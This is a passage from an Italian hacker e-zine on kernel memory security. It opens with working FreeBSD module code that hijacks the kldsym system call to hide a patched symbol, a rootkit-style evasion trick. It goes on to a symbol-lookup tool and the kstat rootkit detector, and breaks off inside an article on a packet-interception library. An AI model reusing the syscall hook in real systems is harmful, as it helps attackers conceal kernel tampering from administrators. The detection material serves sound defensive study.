#include #include #include #include #include static int hacked_kldsym __P((struct proc *, struct kldsym_args *)); extern linker_file_list_t linker_files; /* this has a sym */ static int module_handler(module_t mod, int cmd, void *arg) { switch(cmd) { case MOD_LOAD: sysent[SYS_kldsym].sy_call = (sy_call_t *)hacked_kldsym; break; case MOD_UNLOAD: sysent[SYS_kldsym].sy_call = (sy_call_t *)kldsym; break; } return 0; } static moduledata_t KldSym = { "kldsym", module_handler, NULL }; DECLARE_MODULE(kldsym, KldSym, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); static int hacked_kldsym(struct proc *p, struct kldsym_args *uap) { char *symstr = NULL; c_linker_sym_t sym; linker_symval_t symval; linker_file_t lf; struct kld_sym_lookup lookup; int error = 0; if ((error = copyin(SCARG(uap, data), &lookup, sizeof(lookup))) != 0) goto out; if (lookup.version != sizeof(lookup) || SCARG(uap, cmd) != KLDSYM_LOOKUP) { error = EINVAL; goto out; } symstr = malloc(MAXPATHLEN, M_TEMP, M_WAITOK); if ((error = copyinstr(lookup.symname, symstr, MAXPATHLEN, NULL)) != 0) goto out; if (SCARG(uap, fileid) != 0) { lf = linker_find_file_by_id(SCARG(uap, fileid)); if (lf == NULL) { error = ENOENT; goto out; } if (lf->ops->lookup_symbol(lf, symstr, &sym) == 0 && lf->ops->symbol_values(lf, sym, &symval) == 0) { if(!strcmp(symstr, "kldsym")) lookup.symvalue = (uintptr_t)hacked_kldsym; else lookup.symvalue = (uintptr_t)symval.value; lookup.symsize = symval.size; error = copyout(&lookup, SCARG(uap, data), sizeof(lookup)); } else error = ENOENT; } else { for (lf = TAILQ_FIRST(&linker_files); lf; lf = TAILQ_NEXT(lf, link)) { if (lf->ops->lookup_symbol(lf, symstr, &sym) == 0 && lf->ops->symbol_values(lf, sym, &symval) == 0) { if(!strcmp(symstr, "kldsym")) lookup.symvalue = (uintptr_t)hacked_kldsym; else lookup.symvalue = (uintptr_t)symval.value; lookup.symsize = symval.size; error = copyout(&lookup, SCARG(uap, data), sizeof(lookup)); break; } } if (!lf) error = ENOENT; } out: if (symstr) free(symstr, M_TEMP); return error; } <-X-> ---[ CERCARE i SiMBOLI Ok esistono librerie e comandi per fare questo ... ma puo' capitare di dover scrivere un programma che legga i simboli da un kernel o da un altro file e di dover sbattere contro le strutture di Elf... (per esempio in FreeBSD si potrebbe voler bypassare la system call kldsym()) L'esempio che segue prima verifica il nome del bootfile da dove ricavare i simboli (il modo piu' attendibile e' via sysctl usando il mib kern.bootfile o usando la getbootfile() ) e dopo lo apre per cercare un simbolo o una serie di simboli desiderato/i. Un esempio: $ elfo ipfr (ipfilter stuffs) opening .. /kernel symbol found at 0xc02fb3b8 (ipfr_inuse) symbol found at 0xc0335720 (ipfr_heads) symbol found at 0xc0335f60 (ipfr_stats) symbol found at 0xc0335b40 (ipfr_nattab) symbol found at 0xc01c5a68 (ipfr_new) symbol found at 0xc01c5c3c (ipfr_lookup) symbol found at 0xc01c5dfc (ipfr_delete) symbol found at 0xc02fb800 (sysctl___net_inet_ipf_fr_ipfrttl) symbol found at 0xc02c2388 (__set_sysctl_set_sym_sysctl___net_inet_ipf_fr_ipfrttl) symbol found at 0xc02fb3bc (fr_ipfrttl) symbol found at 0xc0356b2c (ipfr_slowtimer_ch) symbol found at 0xc01c5fa4 (ipfr_slowtimer) symbol found at 0xc01c0aac (ipfr_fastroute) symbol found at 0xc01c5a40 (ipfr_fragstats) symbol found at 0xc01c5d38 (ipfr_nat_knownfrag) symbol found at 0xc01c5d8c (ipfr_knownfrag) symbol found at 0xc01c5e48 (ipfr_unload) symbol found at 0xc01c5bb0 (ipfr_newfrag) symbol found at 0xc01c5dc8 (ipfr_forget) symbol found at 0xc01c5ed0 (ipfr_fragexpire) symbol found at 0xc01c5bec (ipfr_nat_newfrag) closing /kernel <-| kmem/bsd/elfo.c |-> /* * Example to locate symbols on your kernel * ---------------------------------------- * * This source code reads symbol table on you kernel and looks for a symbol * it's a bit like nm(1) * * pig / s0ftpj */ #include #include #include #include #include #include #include #include #include #include #include int main(int argc, char **argv) { Elf_Ehdr h; int mib[2], len, i; char *buf; const char *base; void *mapbase; struct stat s; int fd; const Elf_Shdr *shdrs, *sh_symtab, *sh_strtab; const char *strtab; const Elf_Sym *symtab; int symtabct; off_t offset = 0; if (argc != 2) { printf("Usage %s \n", argv[0]); exit(0); } /* * First we look for boot file name where we can find symbols * * ex. nm /bsd * getbootfile() also works */ mib[0] = CTL_KERN; mib[1] = KERN_BOOTFILE; if (sysctl(mib, 2, NULL, &len, NULL, 0) < 0) err(1, "sysctl()"); if ((buf = malloc(len)) == NULL) err(1, "malloc"); if (sysctl(mib, 2, buf, &len, NULL, 0) < 0) err(1, "sysctl()"); /* * Now we open it */ printf("opening .. %s\n", buf); if ((fd = open(buf, O_RDONLY)) == -1) err(1, "%s", buf); if (read(fd, &h, sizeof h) != sizeof h || !IS_ELF(h)) { close(fd); return -1; } if (fstat(fd, &s) == -1) err(1, "Cannot fstat %s", buf); /* * Align hdrs */ mapbase = mmap(0, s.st_size, PROT_READ, MAP_SHARED, fd, 0); if (mapbase == MAP_FAILED) err(1, "Cannot mmap %s", buf); base = (const char *) mapbase; shdrs = (const Elf_Shdr *)(base + h.e_shoff); for (i = 1; i < h.e_shnum; i++) if (shdrs[i].sh_type == SHT_SYMTAB) break; if (i == h.e_shnum) errx(1, "%s has no symbol table", buf); sh_symtab = &shdrs[i]; sh_strtab = &shdrs[sh_symtab->sh_link]; symtab = (const Elf_Sym *)(base + sh_symtab->sh_offset); symtabct = sh_symtab->sh_size / sh_symtab->sh_entsize; strtab = (const char *)(base + sh_strtab->sh_offset); /* * Locate our symbol */ for (i = 1; i < symtabct; i++) { if (strstr(strtab + symtab[i].st_name, argv[1]) && !strchr(strtab + symtab[i].st_name, '.')) { printf("symbol found at 0x%x (%s)\n", symtab[i].st_value, strtab + symtab[i].st_name); offset = (off_t) symtab[i].st_value; } } if (offset == 0L) printf("Symbol not found\n"); printf("closing %s\n", buf); close(fd); return 0; } <-X-> ---[ KSeC E' giunto il momento di vedere ksec. Trovate il .tar.gz all'interno dell'archivio di questo numero di BFi.. buon divertimento :) -- ----[ Linux ----[ Kstat - Kernel Security Therapy Anti-Trolls Una premessa. Linux, al contrario di *BSD, non possiede una libreria come kvm. Questo vuol dire che in kmem siamo in mare aperto, e dobbiamo trovare precisamente gli offset corretti mediante studio dei sorgenti del kernel, e in seguito, mediante la chiamata di sistema query_module con parametro QM_SYMBOLS. E' poi possibile reperire un elenco completo di tutti i simboli mediante il file vmlinuz ottenuto durante la nuova compilazione del kernel, mediante il comando nm(1) ---[ SYSTEM CALL kstat e' in grado di capire se per caso le chiamate di sistema siano state dirottate mediante un LKM con il metodo, ad esempio, dei puntatori a funzione. Un tipico utilizzo: SLaCKy:~/KSTAT# ./kstat -s SysCall Address sys_exit 0xc011608c sys_fork 0xc0107668 sys_read 0xc012356c sys_write 0xc0123904 sys_open 0xc0123414 sys_close 0xc0123564 sys_waitpid 0xc01165a0 sys_vfork 0xc0107818 (snip) sys_creat 0xc01231c4 sys_link 0xc012ad6c sys_unlink 0xc283838c WARNING! Should be at 0xc012abb8 sys_execve 0xc2838168 WARNING! Should be at 0xc01076c4 sys_chdir 0xc2838440 WARNING! Should be at 0xc0122a08 (snip) sys_socketcall 0xc2838730 WARNING! Should be at 0xc01534b0 sys_syslog 0xc011269c sys_setitimer 0xc0116898 sys_getitimer 0xc01166f8 sys_newstat 0xc01286d8 sys_newlstat 0xc0128798 sys_newfstat 0xc0128874 sys_uname 0xc010cc88 sys_iopl 0xc010bc3c sys_vhangup 0xc01235cc sys_idle 0xc0107110 sys_vm86old 0xc0109fb0 sys_wait4 0xc011629c sys_swapoff 0xc0121a58 (snip) sys_vm86 0xc0109e70 sys_query_module 0xc28388bc WARNING! Should be at 0xc0115058 sys_poll 0xc012d19c sys_nfsservctl 0xc012e998 sys_setresgid 0xc01138ec sys_getresgid 0xc01139c8 sys_prctl 0xc01144a0 sys_rt_sigreturn 0xc0107da8 sys_rt_sigaction 0xc010f664 sys_rt_sigprocmask 0xc010ebbc sys_rt_sigpending 0xc010ed68 sys_rt_sigtimedwait 0xc010ede4 sys_rt_sigqueueinfo 0xc010f110 sys_rt_sigsuspend 0xc010791c sys_pread 0xc0123ce0 sys_pwrite 0xc0123dac sys_chown 0xc01230b8 sys_getcwd 0xc012f4d4 sys_capget 0xc0118668 sys_capset 0xc0118824 sys_sigaltstack 0xc0107b08 sys_sendfile 0xc011bed0 sys_ni_syscall 0xc0112e34 sys_ni_syscall 0xc0112e34 sys_vfork 0xc0107818 Come potete vedere, nel caso ci fosse una differenza tra il normale indirizzo della chiamata di sistema ed il nuovo indirizzo, verrebbe stampato un messaggio di errore. In questo esempio tutti i nuovi indirizzi delle chiamate dirottate sono molto vicini, essendo infatti modificati da un unico LKM come oMBRa ... Per fare questo, purtroppo, sotto Linux e' necessario appoggiarsi al famigerato file System.map non essendo esportati come simboli interrogabili le chiamate di sistema. Ovviamente questo comporta un fastidio iniziale, minimo, per ottenere la lista dei simboli. Ed un impegno successivo per mantenere la sicurezza del file stesso. D'altronde, come anche l'immagine di boot del kernel, e' il caso di assicurarsi bene della sicurezza di questo file. Visto che e' molto semplice crearlo, e' anche possibile copiare su un supporto separato il file vmlinuz ottenuto dalla compilazione, e creare un System.map qualora servisse. ---[ LOADABLE KERNEL MODULES Kstat permette di ottenere una lista dei vari moduli linkati. Questo puo' essere molto interessante ed utile. Immaginiamo infatti che alcune chiamate siano state dirottate in modo da non presentare a lsmod e sotto /proc/modules il modulo troyan. Ebbene con kstat e' comunque possibile mostrarlo. SLaCKy:~/KSTAT# ./kstat -M Module Address knull 0xc283a000 oMBRa 0xc2838000 serial_cs 0xc2835000 pcnet_cs 0xc282f000 8390 0xc282c000 ds 0xc2827000 i82365 0xc281c000 pcmcia_core 0xc2810000 bsd_comp 0xc280e000 Ecco che oMBRa, nonostante una aggiunta alla sys_read che lo occulta anche da /proc/modules viene mostrato, in quanto kstat attraversa tutta la lista dei moduli linkati al kernel. E' poi possibile querare il singolo indirizzo per avere informazioni piu' specifiche sul modulo (per ora non un granche' esauriente: kstat e' ancora in beta). Il modulo knull e' un modulo che non fa assolutamente nulla, e serve per trovare l'indirizzo apice della lista, in modo da traversarla seguendo poi i puntatori che collegano le varie strutture. Nella pagina man di kstat vengono spiegati alcuni esempi di utilizzo. ---[ NETWORK INTERFACES Kstat permette di querare una/tutte le interfacce di rete presenti nel sistema. Ovviamente utilizza kmem e non il fs proc, quindi preleva le sue informazioni direttamente dalle strutture in memoria. [root@MaNTRa /root]# kstat -i ppp0 ppp0 Link encap:Point-to-Point Protocol Internal Index:6 UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 inet addr:62.149.133.30 P-t-P:62.149.132.15 Mask:255.255.255.255 Sysctl Params: accept_redirects: yes send_redirects: yes secure_redirects: yes accept_source_route: yes shared_media: yes rp_filter: no proxy_arp: no bootp_relay: no log_martians: no forwarding: yes mc_forwarding: no Oltre ad un output simile a quello di ifconfig, e' possibile mostrare anche le opzioni di configurazione mediante sysctl delle interfacce. Ecco l'output relativo ad eth0: [root@MaNTRa /root]# kstat -i eth0 eth0 Link encap:Ethernet Internal Index:2 MAC:00:10:5A:18:68:34 UP BROADCAST RUNNING MULTICAST MTU:1500 IRQ:9 Base:0xe400 inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0 Sysctl Params: accept_redirects: yes send_redirects: yes secure_redirects: yes accept_source_route: yes shared_media: yes rp_filter: yes proxy_arp: no bootp_relay: no log_martians: no forwarding: yes mc_forwarding: no E' utile notare come nella struttura delle interfacce sia possibile valutare lo stato di promiscuita' in una maniera differente da quella usata normalmente attraverso la chiamata di sistema sys_ioctl. Questo ci permette di mostrare una interfaccia promiscua laddove un LKM che abbia dirottato ioctl non ce lo permetterebbe. ---[ PROCESSES Dal momento che Linux utilizza il filesystem proc per mostrare i processi, e dal momento che una banale modifica a sys_getdents permetterebbe all'attaccante di nascondere ogni processo che lui eventualmente volesse, ecco che kstat permette di avere una lista dei processi attraverso la memoria di sistema. [root@MaNTRa /root]# kstat -P PID PPID UID GID COMMAND 1 0 0 0 init 2 1 0 0 kflushd 3 1 0 0 kupdate 4 1 0 0 kpiod 5 1 0 0 kswapd 125 1 0 0 apmd 315 1 0 0 syslogd 326 1 0 0 klogd 340 1 0 0 atd 354 1 0 0 crond 368 1 0 0 inetd 382 1 0 0 lpd 403 1 0 0 sendmail 418 1 0 0 gpm 423 1 0 0 diald 478 1 0 0 tail 479 1 0 0 tail 480 1 0 0 tail 485 1 0 500 login 486 1 0 500 login 487 1 0 500 login 488 1 0 0 mingetty 489 1 0 0 mingetty 490 1 0 0 login 493 485 500 500 bash 505 493 500 500 BitchX 507 423 0 0 pppd 547 486 500 500 bash 586 487 500 500 bash 598 547 500 500 vim 603 490 0 0 bash 680 603 0 0 kstat Utili sono ovviamente anche le informazioni sui privilegi e sul parente dei vari processi. Ma questo non e' sufficiente nel caso di una intrusione a livello kernel. Ecco allora che kstat permette di avere un maggiore controllo sui singoli processi: [root@MaNTRa /root]# kstat -p 1 Name: init State: S (sleeping) Pid: 1 PPid: 0 (swapper) Uid: 0 0 0 0 Gid: 0 0 0 0 Flags: PF_SUPERPRIV Crucial Capabilities Check Can override every restriction regarding fs Can modify immutable(+i) and append-only(+a) flags Can modify network and firewall configuration Can access RAW sockets Can insert and remove LKMs Can modify system configuration and access devices Open Files 10 FIFO /dev/initctl Le flags del processo, il controllo delle piu' cruciali capabilities (introdotte regolarmente con il kernel 2.2.13) e dei descrittori aperti, permette di avere una idea di cosa faccia il processo. Ad esempio nel caso di una sessione IRC nascosta: [root@MaNTRa /root]# kstat -p 505 Name: BitchX State: S (sleeping) Pid: 505 PPid: 493 (bash) Uid: 500 500 500 500 Gid: 500 500 500 500 Flags: Crucial Capabilities Check Open Files 0 CHAR /dev/tty1 1 CHAR /dev/tty1 2 CHAR /dev/tty1 3 0.0.0.0:0 0.0.0.0:0 4 62.149.133.30:1024 129.27.8.23:6667 5 REGULAR /fusys/.BitchX/BitchX.away Ecco che in questo caso vengono mostrati anche i socket aperti. Questa funzione non e' ancora del tutto tarata a dovere (ricordo ancora come il codice sia in beta), per alcuni problemi rilevati testando kstat in varie distro. Nonostante le uniche operazioni siano quelle di lettura di /dev/kmem mi e' capitato di notare differenze tra una distro e l'altra i per la risposta dei nomi dei files di tipo REGULAR .... in alcuni casi non viene mostrata l'ultima directory prima di '/' mentre in alcuni casi si'. In attesa che la consapevolezza mi colga tra un impegno e l'altro, se qualcuno avesse lumi e' pregato di farsi vivo =) Ovviamente ci sono modi per bypassare kstat. Ma questi sono, strano a dirsi, piu' semplici sotto *BSD. Linux infatti, mancando di kvm, necessita di offset fissi, kernel per kernel, ottenibili mediante ricerca a campione, audit dei sorgenti o System.map. E' sufficiente quindi avere un file di map per ogni kernel compilato e tenerlo su un supporto non scrivibile (o su uno scrivibile ma non da remoto). A questo punto, il semplice uso di kstat mediante quei file, scoprira' la presenza di troyan al livello user o kernel, senza problemi. Non tutte le funzioni di kstat richiedono un file di simboli, anzi. Praticamente solo il controllo delle chiamate di sistema. Tutte le altre funzioni sono in grado di trovare da se' gli offset corretti per leggere vantaggiosamente all'interno di /dev/kmem. NOTA: prossime versioni di kstat avranno supporto per le funzioni di rete, in modo da controllare i protocol handler e in modo da fornire un output simile a netstat per valutare la presenza di porte sconosciute, nonostante questo possa gia' esser fatto nella maggior parte dei casi cercando processi nascosti e vedendo quali socket aprano. Ora date pure un occhio ai sorgenti di kstat. All'interno e' presente anche una pagina man in inglese con esempi e spiegazioni (in inglese nel caso si decida di far girare un po' questo codicillo). Cos'altro dire, se non amen =) ... PigPEN & FuSyS ============================================================================== --------------------------------[ EOF 10/21 ]--------------------------------- ============================================================================== BFi-9/BFi09-110100644000000000000000000007226207204352706011354 0ustar rootroot============================================================================== ------------[ BFi numero 9, anno 3 - 03/11/2000 - file 11 di 21 ]------------- ============================================================================== -[ HACKiNG ]------------------------------------------------------------------ ---[ LiBVSK - LiBRERiE PER iL C0NTR0LL0 DEL TRAFFiC0 A USERLEVEL -----[ vecna Quando ho avuto quest'idea non lo so` proprio... poco a poco pero` una cosa che mi pareva impossibile prendeva poco a poco forma nella mia testa e dopo un po` di mesi di sofferenza erano nati 2 file addirittura compilabili :) Per leggere questo articolo e comprenderlo un po' e` necessario conoscere: a) un po' di C, b) un po' di programmazione di rete, c) le man page packet(4) ipfw_chains(4) ip(4) ioctl_list(2). 1 - INTRODUZIONE Cosa sono queste "libvsk"? Ssono delle funzioni raccolte in una libreria, ma cosa permettono di fare? Bhe... ti consentono di prendere i pacchetti in arrivo al kernel prima del kernel stesso e girano a userlevel... e qualcosa di particolare si puo` fare :) . Sono sviluppate su linux 2.2.* ma anche sul 2.4.* girano. Il principio di funzionamento e` questo: 1) settiamo una regola di filtraggio come se lo facessimo con ipchains, in questo modo i pacchetti corrispondenti a certe caratteristiche verrano bloccati dal kernel 2) prendiamo un programmino che legga i pacchetti in arrivo a datalink layer, come uno sniffer 3) spedendo dei pacchetti tali da essere filtrati, noteremo che questi si fermeranno a kernel level, ma a datalink layer noi riusciamo a leggerli. e questo ci consente di costruire una serie di funzioni che ci faccia lavorare sia con i pacchetti in uscita che con i pacchetti in entrata indipendetemente dal kernel... per assurdo si potrebbe costruire uno stack TCP/IP a se` stante a userlevel, ma penso sia superfluo. Per entrare piu` nei dettagli: [2]<-------------[1]<----[device esterno] pacchetto in arrivo | voi siete qui-----| [1]: parte del kernel addetta al filtraggio e al check dei pacchetti. [2]: parte del kernel che controlla il pacchetto e verifica se corrisponde a qualcuno dei socket aperti, in questo caso lo passa al processo a userlevel, altrimenti risponde a dovere (RST o port unreachable di solito). Noi siamo, come dice il disegnino stupido, li` in mezzo, in questo modo potremo a nostra discrezione decidere cosa prendere e cosa lasciar passare; il bello e` che noi possiamo anche prendere con il nostro processo, fare qualcosa, e poi riinviare al kernel come se non fosse succeso niente... o se non al kernel lo possiamo inviare a un altro host, o cambiare qualcosa dentro il pacchetto... Insomma, questa tecnica offre il controllo completo di tutto il traffico di rete a vosta discrezione e pericolo :) 2 - CODICE Il pacchetto "libvsk-1.0.tar.gz" contiene i seguenti file: README = una brevissima descrizione del funzionamento e delle funzioni libvsk.h = header da includere nel caso si usasse libvsk libvsk.c = l'unico file, con un semplice "gcc -c libvsk.c -o libvsk.o" lo compilate e poi lo linkate normalmente, non ho ritenuto utile far usare opzioni stile "-lvsk" ... ipfwc_kernel_headers.h = header necessario per il controllo del filtraggio (preso da ipchains-1.3.9) example/spf.c = simple packet forwarder, codice che trovate spiegato dopo example/Makefile = ... :) - FUNZIONI DI LIBRERIA - Le funzioni sono 11, di cui 4 normalmente utlizzabili dai codici propri, e 7 chiamate da queste 4. Considerando che un programma che le usa solitamente ha come scopo quello di leggere un determinato traffico e poi farci qualcosa, le funzioni saranno piu` o meno: 1) setto la regola di filtraggio e inizio lo sniffing 2) leggo il traffico che arriva su quell'interfaccia (questo punto puo` essere migliorato usando i filtri delle libpcap, altrimenti si usa il punto 3) 3) controllo i campi del pacchetto e vedo se corrisponde al tipo di pacchetto filtrato. 4) faccio quello che devo fare con il pacchetto e magari lo riinvio. - FUNZIONI DI ALTO LIVELLO - Le 4 funzioni *normalmente* usate sono: [1] int set_vsk(struct vskopt *); In questo modo si setta la regola di filtraggio, viene fatta passandogli un puntatore ad una struttura di tipo "vskopt" che vediamo qui: struct vskopt { char *source; char *dest; int l_sport, h_sport; int l_dport, h_dport; char *iface; int command; int proto; char io:1; }; grazie alla quale specifichiamo il tipo di pacchetto da filtrare; i campi sono: source & dest = host sorgente e destinazione passati sotto forma di ip come puntatore (quello che poi viene passato a inet_addr(char *); ) *_*port = low source port, high source port, low dest port, high dest port, se le porte vengono indicate uguali non viene usato alcun range (come se filtrassimo tutto il traffico diretto alla http dovremmo indicare: l_sport =0; h_sport =0; l_dport =h_dport =80; potremmo indicare come porta sorgente dalla 1024 in su per essere piu` corretti). iface = interfaccia sul quale filtrare, e` molto importante che non sia NULL altrimenti verra` applicato a tutte le interfaccie, e anche il sistema che uso per il riinvio dei pacchetti verrebbe fregato, si puo` usare come NULL quando si sa` per certo che quel tipo di pacchetto non dovra` arrivare in alcun modo dopo il kernel. command = IP_FW_INSERT o IP_FW_DELETE (ce ne sono altri, li trovate in ipfwc_kernel_headers.h questi 2 servono per inserire o cancellare regole. proto = numero che indica il protocollo da usare filtrare, se e` 0 si riferisce a tutti i protocolli (0 e` IP e cmq 0 o NULL sono il valore che si deve dare a questi campi nella struttura nel caso si voglia sostituirlo con "any") io = Input/Output, 1 nel caso si voglia controllare il traffico in entrata, 0 nel caso si controlli quello in uscita. Questa funzione chiama set_vsk_param() dopo aver espanso i paramentri, l'utilizzo della struttura per il passaggio dei dati l'ho implementato solo per facilitare il passaggio degli argomenti. Dopo aver settato la regola di filtraggio, con: # ipchains -L si potra` vedere il proprio operato letto da /proc/net/ip_fwchains. La funzione restituisce un valore < di 0 in caso di errore (ed e` -errno), questa regola vale per tutti le chiamate che restituiscono un valore int. o il file descriptor a datalink level che si usera` per sniffare. [2] int get_offset(int, char *); Questa funzione si prende come argomenti il fd del socket a datalik e il nome dell'interfaccia attraverso un puntatore e restituisce un numero pari alla grandezza dell'header a datalink (header PPP, Ethernet, FDDI...) e serve quando bisogna scartare questi byte dal pacchetto letto per farlo analizzare. [3] int resend(int, void *, struct sockaddr_in, int, char *, int); resend serve per riinviare i pacchetti dopo che sono stati elaborati o meno, gli si passa in ordine: file descriptor, di tipo SOCK_RAW puntatore a void, lo dichiaro cosi` perche` i pacchetti possono essere lavorati dal programma con le strutture previste in libvsk.h (ipkt tipkt, uipkt, iipkt) senza dar troppi problemi. struttura sockaddr_in del caso da passare a sendto. il quarto int e` la lunghezza del pacchetto, di solito ntohs(struct.ip.tot_len) puntatore a nome dell'interfaccia = da usare (vedi dopo dettagli in "manipolate_route") flag = per indicare un'altra cosa riguardate il "manipulate_route", di solito va bene passare il nome dell'interfaccia e 0, cmq leggete bene la descrizione di "manipulate_route". Questa funzione restituisce il numero di byte inviati o -1 in caso di errore (restituisce lo stesso valore della sendto() usata all'interno). [4] int check_packet(void *, int); Legge il pacchetto e lo verifica con la struttura di controllo firewall (essendo globale statica in libvsk.c), se e` uno dei pacchetti filtrati torna 1, se no torna 0. Gli si passa come primo argomento un puntatore al pacchetto e come secondo il valore identificativo del protocollo come definito in /etc/protocols . Con queste 4 funzioni elementari e` gia` possible creare programmi che prima non era possibile fare se non a kernelevel, come vedrete dopo negli esempi :) - FUNZIONI DI BASSO LIVELLO - [5] int set_vsk_param(char *, char *, int [], char *, int, int, int, int, int); Questa e` la funzione chiamata da set_vsk, a sua volta chiama una serie di funzioni che svolgono i vari lavori e controlla il valore di ritorno; se si vogliono impostare particolari flag o inverted flag (gli ultimi 2 campi) bisogna usare questa funzione. Di default passo 0, 0, piu` sotto trovate info. [6] int fill_fw(int [], char *, int, int, int, int, int); int setmaskaddr(char *, int); Queste funzioni preparano la struttura da passare a setsockopt() in modo da rendere funzionante la regola di filtraggio. setmaskaddr e` una funzione in via si sviluppo, nel senso che potrebbe prendere sia l'indirizzo da filtrare che la netmask a cui far riferimento, e volevo gestire anche gli hostname da qui, quindi poter passare da "host.com/24" a "123.123.123.123/8", per ora prende solo l'ip senza netmask e lo setta come unico ip a cui far riferimento, se gli si passa NULL prende tutto in considerazione, il secondo parametro serve per indicare se l'indirizzo passato va` riferito agli ip sorgenti o destinatari. Nel codice trovarte un #ifdef TEST #else #endif, il codice incluso e` quello dopo l'#else, che firewalla solo un ip per volta (sorgente e destinazione) e non risolve l'hostname, non prende la netmask. In ogni caso, quel codice funziona e puo` essere utile se si voglia lavorare con delle subnet. (occhio che check_packet non fa' il check della netmask anche se dovrebbe!). La struttura da loro poco a poco riempita e` contenuta in "ipfwc_kernel.headers.h" ed e`: struct ip_fw { struct in_addr fw_src, fw_dst; struct in_addr fw_smsk, fw_dmsk; __u32 fw_mark; __u16 fw_proto; __u16 fw_flg; __u16 fw_invflg; __u16 fw_spts[2]; __u16 fw_dpts[2]; __u16 fw_redirpt; __u16 fw_outputsize; char fw_vianame[IFNAMSIZ]; __u8 fw_tosand, fw_tosxor; }; fw_src fw_dst = ip mittente e destinatario. fw_smsk fw_dmsk = netmask per l'estensione delle classi di ip da considerare durante il filtraggio. fw_mark = se vien settato tra i flag IP_FW_F_MARKABS, fw_mark viene sostituito alla mark della skbuff. non e` implementato (forse ora lo e`, ma non l'ho mai visto) fw_proto = tipo di numero di protocollo, visualizzabile in /etc/protocols o tramite getprotobyname() fw_flag = tutti i flag che possono essere indicati: #define IP_FW_F_PRN 0x0001 /* Print packet if it matches */ #define IP_FW_F_TCPSYN 0x0002 /* For tcp packets-check SYN only */ #define IP_FW_F_FRAG 0x0004 /* Set if rule is a fragment rule */ #define IP_FW_F_MARKABS 0x0008 /* Set the mark to fw_mark, not add. */ #define IP_FW_F_WILDIF 0x0010 /* Need only match start of interface name. */ #define IP_FW_F_NETLINK 0x0020 /* Redirect to netlink: 2.1.x only */ #define IP_FW_F_MASK 0x003F /* All possible flag bits mask */ di cui trovate la spiegazione nella man page, se vi interessa implementarli sara` necessario che la leggiate :) fw_invflg = nel caso alcuni campi/flag si volessere usare nel modo inverso, in modo da lavorare su tutti i pacchetti tranne quelli indicati in tal campo o dal flag. #define IP_FW_INV_SRCIP 0x0001 /* Invert the sense of fw_src. */ #define IP_FW_INV_DSTIP 0x0002 /* Invert the sense of fw_dst. */ #define IP_FW_INV_PROTO 0x0004 /* Invert the sense of fw_proto. */ #define IP_FW_INV_SRCPT 0x0008 /* Invert the sense of source ports. */ #define IP_FW_INV_DSTPT 0x0010 /* Invert the sense of destination ports. */ #define IP_FW_INV_VIA 0x0020 /* Invert the sense of fw_vianame. */ #define IP_FW_INV_SYN 0x0040 /* Invert the sense of IP_FW_F_TCPSYN. */ #define IP_FW_INV_FRAG 0x0080 /* Invert the sense of IP_FW_F_FRAG. */ Per il significato dei flag man ipfw_chains :) fw_spts, fw_dtps= array con dentro low source port ecc... come precedentemente messo nella vskopt per indicare i range di porte. fw_redirpt = porta ove redirigiere il traffico (REDIRECT) fw_outputsize = e` possibile impostare la grandezza massima dei pacchetti in uscita se e` settato il flag IP_FW_F_NETLINK tramite una verifica con il netlink device (dove fwdump e altri codici simili leggevano i pacchetti). fw_vianame = nome dell'interfaccia dove effettuare il filtraggio, se NULL tutte fw_tosand fw_tosxor = nel caso la regola sia "ACCEPT", quindi i pacchetti specificati vengano comunque accettati, e` possibile fare l'and o xor del ToS del pacchetto con il valore contenuto qui dentro. L'utilizzo completo di questa struttura si ha mediante ipchains, io l'ho riportata perche` non e` troppo facile implementarla nei propri codici, ma risulta utile, sia con le libvsk che senza. [7] int make_dl_socket(char *); In se non ha nulla di particolare... prende una certa interfaccia e restituisce un socket a datalink da usare per sniffer... ma qui si puo` vedere una delle poche implementazioni della chiamata PF_PACKET, ovvero un'interfaccia sostitutiva della chiamata SOCK_PACKET per accedere al datalink layer. E` implementata nel kernel 2.2, siccome questo sistema (a causa del sistema di filtraggio) funziona solo sul 2.2 (e 2.4 anche, c'e` il modulo per tenere la compatibilita` di ipchains al posto di netfilter) non sara` necessario definire "SOCKPKT" (che includerebbe il vecchio codice). int make_dl_socket(char *device) { int fd; #ifdef SOCKPKT fd =socket(AF_INET, SOCK_PACKET, /* htons(ETH_P_IP) */ 0); if(fd == -1) return -errno; #else struct sockaddr_ll dlsfd; struct ifreq ifr; memset(&ifr, 0, sizeof(struct ifreq)); memset(&dlsfd, 0, sizeof(struct sockaddr_ll)); fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); if(fd ==-1) return -errno; dlsfd.sll_family =AF_PACKET; dlsfd.sll_protocol =htons(ETH_P_IP); strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name)); if (ioctl (fd, SIOCGIFINDEX, &ifr) == -1) return -errno; dlsfd.sll_ifindex =ifr.ifr_ifindex; if (ioctl (fd, SIOCGIFHWADDR, &ifr) == -1) return -errno; memcpy(&dlsfd.sll_addr,&ifr.ifr_hwaddr.sa_data,sizeof(dlsfd.sll_addr)); dlsfd.sll_halen =sizeof(dlsfd.sll_addr); #endif return fd; } E cosi` vanno :) per maggiori info man page di packet(4). Mentre finivo di scrivere quest'articolo ho visto i programmi fwdump e return-rst: questi programmi leggevano i pacchetti filtrati a netlink. Questo sistema e` molto piu` semplice che usare l'accesso al datalink, per info potete consultare le man page netlink(3) e netlink(7) oltre che questi due codici che trovate su packetstorm. Ho aggiunto in seguito una funzione sostitutiva a make_dl_socket in modo che vengano letti i pacchetti sul netlink device: [7.1] int open_netlink(void); [4.1] void *get_nl_packet(int); Sostituiscono make_dl_socket e check_packet, non serve in questo caso lavorare sull'offset del datalink header. get_nl_packet legge i pacchetti e restituisce solo quelli interessati, l'argomento passato e` il descrittore restituito da open_netlink. NB: queste funzioni non le ho mai usate (le ho implementate dopo aver visto l'utilizzo del netlink device cosi` a titolo informativo). Fatemi sapere se ci sono problemi. [8] int manipulate_route(char *, int, int); Questa funzione e` essenziale se si vuole ritrasmettere il pacchetto sullo stesso host dove gira il filtro, se noi applichiamo una regola di filtraggio per un certo tipo di pacchetto, dopo averlo anche letto confrontato loggato o altro, e` possibile che lo vogliamo ritrasmettere anche senza aver cambiato parametri che lo fanno rientrare tra i pacchetti filtrati (ne` il pacchetto arriverebbe ne` il nostro programma funzionerebbe, perche` lo stesso pacchetto continuerebbe ad essere ritrasmesso facendoci entrare in un loop infinito). Supponiamo di voler fare un programma che legga tutto il traffico verso telnetd, lo legga e lo 